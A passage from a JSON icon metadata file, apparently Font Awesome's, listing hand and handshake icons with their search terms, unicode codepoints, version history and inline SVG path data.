        "path": "M80 104c0-22.1-17.9-40-40-40S0 81.9 0 104v56 64V325.5c0 25.5 10.1 49.9 28.1 67.9L128 493.3c12 12 28.3 18.7 45.3 18.7H240c26.5 0 48-21.5 48-48V385.1c0-29.7-11.8-58.2-32.8-79.2l-25.3-25.3 0 0-15.2-15.2-32-32c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l32 32 15.2 15.2c11 11 9.2 29.2-3.7 37.8c-9.7 6.5-22.7 5.2-31-3.1L98.7 309.5c-12-12-18.7-28.3-18.7-45.3V224 144 104zm480 0v40 80 40.2c0 17-6.7 33.3-18.7 45.3l-51.1 51.1c-8.3 8.3-21.3 9.6-31 3.1c-12.9-8.6-14.7-26.9-3.7-37.8l15.2-15.2 32-32c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-32 32-15.2 15.2 0 0-25.3 25.3c-21 21-32.8 49.5-32.8 79.2V464c0 26.5 21.5 48 48 48h66.7c17 0 33.3-6.7 45.3-18.7l99.9-99.9c18-18 28.1-42.4 28.1-67.9V224 160 104c0-22.1-17.9-40-40-40s-40 17.9-40 40z"
      }
    },
    "free": ["solid"]
  },
  "hands-holding-child": {
    "changes": ["6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0", "6.4.1"],
    "ligatures": [],
    "search": {
      "terms": ["care", "give", "help", "hold", "protect"]
    },
    "styles": ["solid"],
    "unicode": "e4fa",
    "label": "Hands Holding Child",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 0a40 40 0 1 1 0 80 40 40 0 1 1 0-80zm44.7 164.3L375.8 253c1.6 13.2-7.7 25.1-20.8 26.8s-25.1-7.7-26.8-20.8l-4.4-35h-7.6l-4.4 35c-1.6 13.2-13.6 22.5-26.8 20.8s-22.5-13.6-20.8-26.8l11.1-88.8L255.5 181c-10.1 8.6-25.3 7.3-33.8-2.8s-7.3-25.3 2.8-33.8l27.9-23.6C271.3 104.8 295.3 96 320 96s48.7 8.8 67.6 24.7l27.9 23.6c10.1 8.6 11.4 23.7 2.8 33.8s-23.7 11.4-33.8 2.8l-19.8-16.7zM40 64c22.1 0 40 17.9 40 40v40 80 40.2c0 17 6.7 33.3 18.7 45.3l51.1 51.1c8.3 8.3 21.3 9.6 31 3.1c12.9-8.6 14.7-26.9 3.7-37.8l-15.2-15.2-32-32c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0l32 32 15.2 15.2 0 0 25.3 25.3c21 21 32.8 49.5 32.8 79.2V464c0 26.5-21.5 48-48 48H173.3c-17 0-33.3-6.7-45.3-18.7L28.1 393.4C10.1 375.4 0 351 0 325.5V224 160 104C0 81.9 17.9 64 40 64zm560 0c22.1 0 40 17.9 40 40v56 64V325.5c0 25.5-10.1 49.9-28.1 67.9L512 493.3c-12 12-28.3 18.7-45.3 18.7H400c-26.5 0-48-21.5-48-48V385.1c0-29.7 11.8-58.2 32.8-79.2l25.3-25.3 0 0 15.2-15.2 32-32c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3l-32 32-15.2 15.2c-11 11-9.2 29.2 3.7 37.8c9.7 6.5 22.7 5.2 31-3.1l51.1-51.1c12-12 18.7-28.3 18.7-45.3V224 144 104c0-22.1 17.9-40 40-40z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 0a40 40 0 1 1 0 80 40 40 0 1 1 0-80zm44.7 164.3L375.8 253c1.6 13.2-7.7 25.1-20.8 26.8s-25.1-7.7-26.8-20.8l-4.4-35h-7.6l-4.4 35c-1.6 13.2-13.6 22.5-26.8 20.8s-22.5-13.6-20.8-26.8l11.1-88.8L255.5 181c-10.1 8.6-25.3 7.3-33.8-2.8s-7.3-25.3 2.8-33.8l27.9-23.6C271.3 104.8 295.3 96 320 96s48.7 8.8 67.6 24.7l27.9 23.6c10.1 8.6 11.4 23.7 2.8 33.8s-23.7 11.4-33.8 2.8l-19.8-16.7zM40 64c22.1 0 40 17.9 40 40v40 80 40.2c0 17 6.7 33.3 18.7 45.3l51.1 51.1c8.3 8.3 21.3 9.6 31 3.1c12.9-8.6 14.7-26.9 3.7-37.8l-15.2-15.2-32-32c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0l32 32 15.2 15.2 0 0 25.3 25.3c21 21 32.8 49.5 32.8 79.2V464c0 26.5-21.5 48-48 48H173.3c-17 0-33.3-6.7-45.3-18.7L28.1 393.4C10.1 375.4 0 351 0 325.5V224 160 104C0 81.9 17.9 64 40 64zm560 0c22.1 0 40 17.9 40 40v56 64V325.5c0 25.5-10.1 49.9-28.1 67.9L512 493.3c-12 12-28.3 18.7-45.3 18.7H400c-26.5 0-48-21.5-48-48V385.1c0-29.7 11.8-58.2 32.8-79.2l25.3-25.3 0 0 15.2-15.2 32-32c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3l-32 32-15.2 15.2c-11 11-9.2 29.2 3.7 37.8c9.7 6.5 22.7 5.2 31-3.1l51.1-51.1c12-12 18.7-28.3 18.7-45.3V224 144 104c0-22.1 17.9-40 40-40z"
      }
    },
    "free": ["solid"]
  },
  "hands-holding-circle": {
    "changes": ["6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0", "6.4.1"],
    "ligatures": [],
    "search": {
      "terms": ["circle", "gift", "protection"]
    },
    "styles": ["solid"],
    "unicode": "e4fb",
    "label": "Hands Holding Circle",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 0a128 128 0 1 1 0 256A128 128 0 1 1 320 0zM40 64c22.1 0 40 17.9 40 40v40 80 40.2c0 17 6.7 33.3 18.7 45.3l51.1 51.1c8.3 8.3 21.3 9.6 31 3.1c12.9-8.6 14.7-26.9 3.7-37.8l-15.2-15.2-32-32c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0l32 32 15.2 15.2 0 0 25.3 25.3c21 21 32.8 49.5 32.8 79.2V464c0 26.5-21.5 48-48 48H173.3c-17 0-33.3-6.7-45.3-18.7L28.1 393.4C10.1 375.4 0 351 0 325.5V224 160 104C0 81.9 17.9 64 40 64zm560 0c22.1 0 40 17.9 40 40v56 64V325.5c0 25.5-10.1 49.9-28.1 67.9L512 493.3c-12 12-28.3 18.7-45.3 18.7H400c-26.5 0-48-21.5-48-48V385.1c0-29.7 11.8-58.2 32.8-79.2l25.3-25.3 0 0 15.2-15.2 32-32c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3l-32 32-15.2 15.2c-11 11-9.2 29.2 3.7 37.8c9.7 6.5 22.7 5.2 31-3.1l51.1-51.1c12-12 18.7-28.3 18.7-45.3V224 144 104c0-22.1 17.9-40 40-40z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 0a128 128 0 1 1 0 256A128 128 0 1 1 320 0zM40 64c22.1 0 40 17.9 40 40v40 80 40.2c0 17 6.7 33.3 18.7 45.3l51.1 51.1c8.3 8.3 21.3 9.6 31 3.1c12.9-8.6 14.7-26.9 3.7-37.8l-15.2-15.2-32-32c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0l32 32 15.2 15.2 0 0 25.3 25.3c21 21 32.8 49.5 32.8 79.2V464c0 26.5-21.5 48-48 48H173.3c-17 0-33.3-6.7-45.3-18.7L28.1 393.4C10.1 375.4 0 351 0 325.5V224 160 104C0 81.9 17.9 64 40 64zm560 0c22.1 0 40 17.9 40 40v56 64V325.5c0 25.5-10.1 49.9-28.1 67.9L512 493.3c-12 12-28.3 18.7-45.3 18.7H400c-26.5 0-48-21.5-48-48V385.1c0-29.7 11.8-58.2 32.8-79.2l25.3-25.3 0 0 15.2-15.2 32-32c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3l-32 32-15.2 15.2c-11 11-9.2 29.2 3.7 37.8c9.7 6.5 22.7 5.2 31-3.1l51.1-51.1c12-12 18.7-28.3 18.7-45.3V224 144 104c0-22.1 17.9-40 40-40z"
      }
    },
    "free": ["solid"]
  },
  "hands-praying": {
    "aliases": {
      "names": ["praying-hands"],
      "unicodes": {
        "secondary": ["10f684"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["kneel", "preach", "religion", "worship"]
    },
    "styles": ["solid"],
    "unicode": "f684",
    "label": "Hands Praying",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M351.2 4.8c3.2-2 6.6-3.3 10-4.1c4.7-1 9.6-.9 14.1 .1c7.7 1.8 14.8 6.5 19.4 13.6L514.6 194.2c8.8 13.1 13.4 28.6 13.4 44.4v73.5c0 6.9 4.4 13 10.9 15.2l79.2 26.4C631.2 358 640 370.2 640 384v96c0 9.9-4.6 19.3-12.5 25.4s-18.1 8.1-27.7 5.5L431 465.9c-56-14.9-95-65.7-95-123.7V224c0-17.7 14.3-32 32-32s32 14.3 32 32v80c0 8.8 7.2 16 16 16s16-7.2 16-16V219.1c0-7-1.8-13.8-5.3-19.8L340.3 48.1c-1.7-3-2.9-6.1-3.6-9.3c-1-4.7-1-9.6 .1-14.1c1.9-8 6.8-15.2 14.3-19.9zm-62.4 0c7.5 4.6 12.4 11.9 14.3 19.9c1.1 4.6 1.2 9.4 .1 14.1c-.7 3.2-1.9 6.3-3.6 9.3L213.3 199.3c-3.5 6-5.3 12.9-5.3 19.8V304c0 8.8 7.2 16 16 16s16-7.2 16-16V224c0-17.7 14.3-32 32-32s32 14.3 32 32V342.3c0 58-39 108.7-95 123.7l-168.7 45c-9.6 2.6-19.9 .5-27.7-5.5S0 490 0 480V384c0-13.8 8.8-26 21.9-30.4l79.2-26.4c6.5-2.2 10.9-8.3 10.9-15.2V238.5c0-15.8 4.7-31.2 13.4-44.4L245.2 14.5c4.6-7.1 11.7-11.8 19.4-13.6c4.6-1.1 9.4-1.2 14.1-.1c3.5 .8 6.9 2.1 10 4.1z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M351.2 4.8c3.2-2 6.6-3.3 10-4.1c4.7-1 9.6-.9 14.1 .1c7.7 1.8 14.8 6.5 19.4 13.6L514.6 194.2c8.8 13.1 13.4 28.6 13.4 44.4v73.5c0 6.9 4.4 13 10.9 15.2l79.2 26.4C631.2 358 640 370.2 640 384v96c0 9.9-4.6 19.3-12.5 25.4s-18.1 8.1-27.7 5.5L431 465.9c-56-14.9-95-65.7-95-123.7V224c0-17.7 14.3-32 32-32s32 14.3 32 32v80c0 8.8 7.2 16 16 16s16-7.2 16-16V219.1c0-7-1.8-13.8-5.3-19.8L340.3 48.1c-1.7-3-2.9-6.1-3.6-9.3c-1-4.7-1-9.6 .1-14.1c1.9-8 6.8-15.2 14.3-19.9zm-62.4 0c7.5 4.6 12.4 11.9 14.3 19.9c1.1 4.6 1.2 9.4 .1 14.1c-.7 3.2-1.9 6.3-3.6 9.3L213.3 199.3c-3.5 6-5.3 12.9-5.3 19.8V304c0 8.8 7.2 16 16 16s16-7.2 16-16V224c0-17.7 14.3-32 32-32s32 14.3 32 32V342.3c0 58-39 108.7-95 123.7l-168.7 45c-9.6 2.6-19.9 .5-27.7-5.5S0 490 0 480V384c0-13.8 8.8-26 21.9-30.4l79.2-26.4c6.5-2.2 10.9-8.3 10.9-15.2V238.5c0-15.8 4.7-31.2 13.4-44.4L245.2 14.5c4.6-7.1 11.7-11.8 19.4-13.6c4.6-1.1 9.4-1.2 14.1-.1c3.5 .8 6.9 2.1 10 4.1z"
      }
    },
    "free": ["solid"]
  },
  "handshake": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f2b5"]
      }
    },
    "changes": [
      "4.7.0",
      "5.0.0",
      "5.0.9",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": ["agreement", "greeting", "meeting", "partnership"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f2b5",
    "label": "Handshake",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M323.4 85.2l-96.8 78.4c-16.1 13-19.2 36.4-7 53.1c12.9 17.8 38 21.3 55.3 7.8l99.3-77.2c7-5.4 17-4.2 22.5 2.8s4.2 17-2.8 22.5l-20.9 16.2L512 316.8V128h-.7l-3.9-2.5L434.8 79c-15.3-9.8-33.2-15-51.4-15c-21.8 0-43 7.5-60 21.2zm22.8 124.4l-51.7 40.2C263 274.4 217.3 268 193.7 235.6c-22.2-30.5-16.6-73.1 12.7-96.8l83.2-67.3c-11.6-4.9-24.1-7.4-36.8-7.4C234 64 215.7 69.6 200 80l-72 48V352h28.2l91.4 83.4c19.6 17.9 49.9 16.5 67.8-3.1c5.5-6.1 9.2-13.2 11.1-20.6l17 15.6c19.5 17.9 49.9 16.6 67.8-2.9c4.5-4.9 7.8-10.6 9.9-16.5c19.4 13 45.8 10.3 62.1-7.5c17.9-19.5 16.6-49.9-2.9-67.8l-134.2-123zM16 128c-8.8 0-16 7.2-16 16V352c0 17.7 14.3 32 32 32H64c17.7 0 32-14.3 32-32V128H16zM48 320a16 16 0 1 1 0 32 16 16 0 1 1 0-32zM544 128V352c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V144c0-8.8-7.2-16-16-16H544zm32 208a16 16 0 1 1 32 0 16 16 0 1 1 -32 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M323.4 85.2l-96.8 78.4c-16.1 13-19.2 36.4-7 53.1c12.9 17.8 38 21.3 55.3 7.8l99.3-77.2c7-5.4 17-4.2 22.5 2.8s4.2 17-2.8 22.5l-20.9 16.2L512 316.8V128h-.7l-3.9-2.5L434.8 79c-15.3-9.8-33.2-15-51.4-15c-21.8 0-43 7.5-60 21.2zm22.8 124.4l-51.7 40.2C263 274.4 217.3 268 193.7 235.6c-22.2-30.5-16.6-73.1 12.7-96.8l83.2-67.3c-11.6-4.9-24.1-7.4-36.8-7.4C234 64 215.7 69.6 200 80l-72 48V352h28.2l91.4 83.4c19.6 17.9 49.9 16.5 67.8-3.1c5.5-6.1 9.2-13.2 11.1-20.6l17 15.6c19.5 17.9 49.9 16.6 67.8-2.9c4.5-4.9 7.8-10.6 9.9-16.5c19.4 13 45.8 10.3 62.1-7.5c17.9-19.5 16.6-49.9-2.9-67.8l-134.2-123zM16 128c-8.8 0-16 7.2-16 16V352c0 17.7 14.3 32 32 32H64c17.7 0 32-14.3 32-32V128H16zM48 320a16 16 0 1 1 0 32 16 16 0 1 1 0-32zM544 128V352c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V144c0-8.8-7.2-16-16-16H544zm32 208a16 16 0 1 1 32 0 16 16 0 1 1 -32 0z"
      },
      "regular": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M272.2 64.6l-51.1 51.1c-15.3 4.2-29.5 11.9-41.5 22.5L153 161.9C142.8 171 129.5 176 115.8 176H96V304c20.4 .6 39.8 8.9 54.3 23.4l35.6 35.6 7 7 0 0L219.9 397c6.2 6.2 16.4 6.2 22.6 0c1.7-1.7 3-3.7 3.7-5.8c2.8-7.7 9.3-13.5 17.3-15.3s16.4 .6 22.2 6.5L296.5 393c11.6 11.6 30.4 11.6 41.9 0c5.4-5.4 8.3-12.3 8.6-19.4c.4-8.8 5.6-16.6 13.6-20.4s17.3-3 24.4 2.1c9.4 6.7 22.5 5.8 30.9-2.6c9.4-9.4 9.4-24.6 0-33.9L340.1 243l-35.8 33c-27.3 25.2-69.2 25.6-97 .9c-31.7-28.2-32.4-77.4-1.6-106.5l70.1-66.2C303.2 78.4 339.4 64 377.1 64c36.1 0 71 13.3 97.9 37.2L505.1 128H544h40 40c8.8 0 16 7.2 16 16V352c0 17.7-14.3 32-32 32H576c-11.8 0-22.2-6.4-27.7-16H463.4c-3.4 6.7-7.9 13.1-13.5 18.7c-17.1 17.1-40.8 23.8-63 20.1c-3.6 7.3-8.5 14.1-14.6 20.2c-27.3 27.3-70 30-100.4 8.1c-25.1 20.8-62.5 19.5-86-4.1L159 404l-7-7-35.6-35.6c-5.5-5.5-12.7-8.7-20.4-9.3C96 369.7 81.6 384 64 384H32c-17.7 0-32-14.3-32-32V144c0-8.8 7.2-16 16-16H56 96h19.8c2 0 3.9-.7 5.3-2l26.5-23.6C175.5 77.7 211.4 64 248.7 64H259c4.4 0 8.9 .2 13.2 .6zM544 320V176H496c-5.9 0-11.6-2.2-15.9-6.1l-36.9-32.8c-18.2-16.2-41.7-25.1-66.1-25.1c-25.4 0-49.8 9.7-68.3 27.1l-70.1 66.2c-10.3 9.8-10.1 26.3 .5 35.7c9.3 8.3 23.4 8.1 32.5-.3l71.9-66.4c9.7-9 24.9-8.4 33.9 1.4s8.4 24.9-1.4 33.9l-.8 .8 74.4 74.4c10 10 16.5 22.3 19.4 35.1H544zM64 336a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm528 16a16 16 0 1 0 0-32 16 16 0 1 0 0 32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M272.2 64.6l-51.1 51.1c-15.3 4.2-29.5 11.9-41.5 22.5L153 161.9C142.8 171 129.5 176 115.8 176H96V304c20.4 .6 39.8 8.9 54.3 23.4l35.6 35.6 7 7 0 0L219.9 397c6.2 6.2 16.4 6.2 22.6 0c1.7-1.7 3-3.7 3.7-5.8c2.8-7.7 9.3-13.5 17.3-15.3s16.4 .6 22.2 6.5L296.5 393c11.6 11.6 30.4 11.6 41.9 0c5.4-5.4 8.3-12.3 8.6-19.4c.4-8.8 5.6-16.6 13.6-20.4s17.3-3 24.4 2.1c9.4 6.7 22.5 5.8 30.9-2.6c9.4-9.4 9.4-24.6 0-33.9L340.1 243l-35.8 33c-27.3 25.2-69.2 25.6-97 .9c-31.7-28.2-32.4-77.4-1.6-106.5l70.1-66.2C303.2 78.4 339.4 64 377.1 64c36.1 0 71 13.3 97.9 37.2L505.1 128H544h40 40c8.8 0 16 7.2 16 16V352c0 17.7-14.3 32-32 32H576c-11.8 0-22.2-6.4-27.7-16H463.4c-3.4 6.7-7.9 13.1-13.5 18.7c-17.1 17.1-40.8 23.8-63 20.1c-3.6 7.3-8.5 14.1-14.6 20.2c-27.3 27.3-70 30-100.4 8.1c-25.1 20.8-62.5 19.5-86-4.1L159 404l-7-7-35.6-35.6c-5.5-5.5-12.7-8.7-20.4-9.3C96 369.7 81.6 384 64 384H32c-17.7 0-32-14.3-32-32V144c0-8.8 7.2-16 16-16H56 96h19.8c2 0 3.9-.7 5.3-2l26.5-23.6C175.5 77.7 211.4 64 248.7 64H259c4.4 0 8.9 .2 13.2 .6zM544 320V176H496c-5.9 0-11.6-2.2-15.9-6.1l-36.9-32.8c-18.2-16.2-41.7-25.1-66.1-25.1c-25.4 0-49.8 9.7-68.3 27.1l-70.1 66.2c-10.3 9.8-10.1 26.3 .5 35.7c9.3 8.3 23.4 8.1 32.5-.3l71.9-66.4c9.7-9 24.9-8.4 33.9 1.4s8.4 24.9-1.4 33.9l-.8 .8 74.4 74.4c10 10 16.5 22.3 19.4 35.1H544zM64 336a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm528 16a16 16 0 1 0 0-32 16 16 0 1 0 0 32z"
      }
    },
    "free": ["regular", "solid"]
  },
  "handshake-angle": {
    "aliases": {
      "names": ["hands-helping"],
      "unicodes": {
        "secondary": ["10f4c4"]
      }
    },
    "changes": ["5.0.9", "6.0.0-beta1", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["aid", "assistance", "handshake", "partnership", "volunteering"]
    },
    "styles": ["solid"],
    "unicode": "f4c4",
    "label": "Handshake Angle",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M544 248v3.3l69.7-69.7c21.9-21.9 21.9-57.3 0-79.2L535.6 24.4c-21.9-21.9-57.3-21.9-79.2 0L416.3 64.5c-2.7-.3-5.5-.5-8.3-.5H296c-37.1 0-67.6 28-71.6 64H224V248c0 22.1 17.9 40 40 40s40-17.9 40-40V176c0 0 0-.1 0-.1V160l16 0 136 0c0 0 0 0 .1 0H464c44.2 0 80 35.8 80 80v8zM336 192v56c0 39.8-32.2 72-72 72s-72-32.2-72-72V129.4c-35.9 6.2-65.8 32.3-76 68.2L99.5 255.2 26.3 328.4c-21.9 21.9-21.9 57.3 0 79.2l78.1 78.1c21.9 21.9 57.3 21.9 79.2 0l37.7-37.7c.9 0 1.8 .1 2.7 .1H384c26.5 0 48-21.5 48-48c0-5.6-1-11-2.7-16H432c26.5 0 48-21.5 48-48c0-12.8-5-24.4-13.2-33c25.7-5 45.1-27.6 45.2-54.8v-.4c-.1-30.8-25.1-55.8-56-55.8c0 0 0 0 0 0l-120 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M544 248v3.3l69.7-69.7c21.9-21.9 21.9-57.3 0-79.2L535.6 24.4c-21.9-21.9-57.3-21.9-79.2 0L416.3 64.5c-2.7-.3-5.5-.5-8.3-.5H296c-37.1 0-67.6 28-71.6 64H224V248c0 22.1 17.9 40 40 40s40-17.9 40-40V176c0 0 0-.1 0-.1V160l16 0 136 0c0 0 0 0 .1 0H464c44.2 0 80 35.8 80 80v8zM336 192v56c0 39.8-32.2 72-72 72s-72-32.2-72-72V129.4c-35.9 6.2-65.8 32.3-76 68.2L99.5 255.2 26.3 328.4c-21.9 21.9-21.9 57.3 0 79.2l78.1 78.1c21.9 21.9 57.3 21.9 79.2 0l37.7-37.7c.9 0 1.8 .1 2.7 .1H384c26.5 0 48-21.5 48-48c0-5.6-1-11-2.7-16H432c26.5 0 48-21.5 48-48c0-12.8-5-24.4-13.2-33c25.7-5 45.1-27.6 45.2-54.8v-.4c-.1-30.8-25.1-55.8-56-55.8c0 0 0 0 0 0l-120 0z"
      }
    },
    "free": ["solid"]
  },
  "handshake-simple": {
    "aliases": {
      "names": ["handshake-alt"],
      "unicodes": {
        "composite": ["1f91d"],
        "secondary": ["10f4c6"]
      }
    },
    "changes": ["5.0.9", "6.0.0-beta1", "6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "agreement",
        "greeting",
        "hand",
        "handshake",
        "meeting",
        "partnership",
        "shake"
      ]
    },
    "styles": ["solid"],
    "unicode": "f4c6",
    "label": "Handshake Simple",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M323.4 85.2l-96.8 78.4c-16.1 13-19.2 36.4-7 53.1c12.9 17.8 38 21.3 55.3 7.8l99.3-77.2c7-5.4 17-4.2 22.5 2.8s4.2 17-2.8 22.5l-20.9 16.2L550.2 352H592c26.5 0 48-21.5 48-48V176c0-26.5-21.5-48-48-48H516h-4-.7l-3.9-2.5L434.8 79c-15.3-9.8-33.2-15-51.4-15c-21.8 0-43 7.5-60 21.2zm22.8 124.4l-51.7 40.2C263 274.4 217.3 268 193.7 235.6c-22.2-30.5-16.6-73.1 12.7-96.8l83.2-67.3c-11.6-4.9-24.1-7.4-36.8-7.4C234 64 215.7 69.6 200 80l-72 48H48c-26.5 0-48 21.5-48 48V304c0 26.5 21.5 48 48 48H156.2l91.4 83.4c19.6 17.9 49.9 16.5 67.8-3.1c5.5-6.1 9.2-13.2 11.1-20.6l17 15.6c19.5 17.9 49.9 16.6 67.8-2.9c4.5-4.9 7.8-10.6 9.9-16.5c19.4 13 45.8 10.3 62.1-7.5c17.9-19.5 16.6-49.9-2.9-67.8l-134.2-123z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M323.4 85.2l-96.8 78.4c-16.1 13-19.2 36.4-7 53.1c12.9 17.8 38 21.3 55.3 7.8l99.3-77.2c7-5.4 17-4.2 22.5 2.8s4.2 17-2.8 22.5l-20.9 16.2L550.2 352H592c26.5 0 48-21.5 48-48V176c0-26.5-21.5-48-48-48H516h-4-.7l-3.9-2.5L434.8 79c-15.3-9.8-33.2-15-51.4-15c-21.8 0-43 7.5-60 21.2zm22.8 124.4l-51.7 40.2C263 274.4 217.3 268 193.7 235.6c-22.2-30.5-16.6-73.1 12.7-96.8l83.2-67.3c-11.6-4.9-24.1-7.4-36.8-7.4C234 64 215.7 69.6 200 80l-72 48H48c-26.5 0-48 21.5-48 48V304c0 26.5 21.5 48 48 48H156.2l91.4 83.4c19.6 17.9 49.9 16.5 67.8-3.1c5.5-6.1 9.2-13.2 11.1-20.6l17 15.6c19.5 17.9 49.9 16.6 67.8-2.9c4.5-4.9 7.8-10.6 9.9-16.5c19.4 13 45.8 10.3 62.1-7.5c17.9-19.5 16.6-49.9-2.9-67.8l-134.2-123z"
      }
    },
    "free": ["solid"]
  },
  "handshake-simple-slash": {
    "aliases": {
      "names": ["handshake-alt-slash"],
      "unicodes": {
        "secondary": ["10e05f"]
      }
    },
    "changes": [
      "5.13.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": ["broken", "covid-19", "social distance"]
    },
    "styles": ["solid"],
    "unicode": "e05f",
    "label": "Handshake Simple Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7l-135-105.8c-1.1-11.3-6.3-22.3-15.3-30.7l-134.2-123-23.4 18.2-26-20.3 77.2-60.1c7-5.4 17-4.2 22.5 2.8s4.2 17-2.8 22.5l-20.9 16.2L550.2 352H592c26.5 0 48-21.5 48-48V176c0-26.5-21.5-48-48-48H516h-4-.7l-3.9-2.5L434.8 79c-15.3-9.8-33.2-15-51.4-15c-21.8 0-43 7.5-60 21.2l-89.7 72.6-25.8-20.3 81.8-66.2c-11.6-4.9-24.1-7.4-36.8-7.4C234 64 215.7 69.6 200 80l-35.5 23.7L38.8 5.1zM413.6 421.9L41.2 128.5C17.9 131.8 0 151.8 0 176V304c0 26.5 21.5 48 48 48H156.2l91.4 83.4c19.6 17.9 49.9 16.5 67.8-3.1c5.5-6.1 9.2-13.2 11.1-20.6l17 15.6c19.5 17.9 49.9 16.6 67.8-2.9c.8-.8 1.5-1.7 2.2-2.6z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7l-135-105.8c-1.1-11.3-6.3-22.3-15.3-30.7l-134.2-123-23.4 18.2-26-20.3 77.2-60.1c7-5.4 17-4.2 22.5 2.8s4.2 17-2.8 22.5l-20.9 16.2L550.2 352H592c26.5 0 48-21.5 48-48V176c0-26.5-21.5-48-48-48H516h-4-.7l-3.9-2.5L434.8 79c-15.3-9.8-33.2-15-51.4-15c-21.8 0-43 7.5-60 21.2l-89.7 72.6-25.8-20.3 81.8-66.2c-11.6-4.9-24.1-7.4-36.8-7.4C234 64 215.7 69.6 200 80l-35.5 23.7L38.8 5.1zM413.6 421.9L41.2 128.5C17.9 131.8 0 151.8 0 176V304c0 26.5 21.5 48 48 48H156.2l91.4 83.4c19.6 17.9 49.9 16.5 67.8-3.1c5.5-6.1 9.2-13.2 11.1-20.6l17 15.6c19.5 17.9 49.9 16.6 67.8-2.9c.8-.8 1.5-1.7 2.2-2.6z"
      }
    },
    "free": ["solid"]
  },
  "handshake-slash": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e060"]
      }
    },
    "changes": [
      "5.13.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": ["broken", "covid-19", "social distance"]
    },
    "styles": ["solid"],
    "unicode": "e060",
    "label": "Handshake Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766194,
